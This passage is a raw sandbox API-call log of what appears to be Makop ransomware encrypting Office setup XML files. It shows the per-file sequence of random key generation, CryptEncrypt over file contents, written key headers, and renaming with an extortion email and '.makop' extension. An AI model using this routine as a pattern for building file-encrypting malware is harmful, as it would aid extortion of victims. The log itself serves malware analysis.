0x48a0000 [0093.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.319] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.319] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0093.323] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.323] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.323] GetProcessHeap () returned 0x48a0000 [0093.323] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.323] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.323] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.323] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.323] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.323] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.324] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.324] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.324] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.324] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x41d4, lpOverlapped=0x0) returned 1 [0093.326] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x41e0) returned 1 [0093.326] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.326] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x41e0, lpOverlapped=0x0) returned 1 [0093.327] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.327] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.327] SetEndOfFile (hFile=0x114) returned 1 [0093.333] GetProcessHeap () returned 0x48a0000 [0093.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.333] GetProcessHeap () returned 0x48a0000 [0093.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.333] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0093.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.334] CloseHandle (hObject=0x114) returned 1 [0093.335] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.335] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0093.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.336] GetProcessHeap () returned 0x48a0000 [0093.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.336] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0093.340] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.340] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.340] GetProcessHeap () returned 0x48a0000 [0093.340] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.340] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.340] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.340] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.340] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.340] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.341] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.341] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.341] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.341] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x7976, lpOverlapped=0x0) returned 1 [0093.346] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x7980, dwBufLen=0x7980 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x7980) returned 1 [0093.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.346] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x7980, lpOverlapped=0x0) returned 1 [0093.347] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.347] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.347] SetEndOfFile (hFile=0x114) returned 1 [0093.354] GetProcessHeap () returned 0x48a0000 [0093.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.354] GetProcessHeap () returned 0x48a0000 [0093.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 145 [0093.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.355] CloseHandle (hObject=0x114) returned 1 [0093.355] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.355] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.355] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0093.356] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us") returned 95 [0093.356] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*") returned 99 [0093.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.357] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.357] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0093.357] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0093.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.358] GetProcessHeap () returned 0x48a0000 [0093.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.358] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.358] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x6, lpOverlapped=0x0) returned 1 [0093.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.362] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.362] GetProcessHeap () returned 0x48a0000 [0093.362] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.362] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.362] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.362] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.362] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.362] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.363] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.363] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.364] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.364] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.364] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5aa, lpOverlapped=0x0) returned 1 [0093.364] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5b0) returned 1 [0093.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.364] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5b0, lpOverlapped=0x0) returned 1 [0093.364] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.364] SetEndOfFile (hFile=0x114) returned 1 [0093.370] GetProcessHeap () returned 0x48a0000 [0093.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.370] GetProcessHeap () returned 0x48a0000 [0093.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.370] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 159 [0093.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.372] CloseHandle (hObject=0x114) returned 1 [0093.372] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.372] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0093.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.374] GetProcessHeap () returned 0x48a0000 [0093.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.374] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.378] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.378] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.379] GetProcessHeap () returned 0x48a0000 [0093.379] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.379] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.379] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.379] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.380] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.380] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.380] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.380] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, 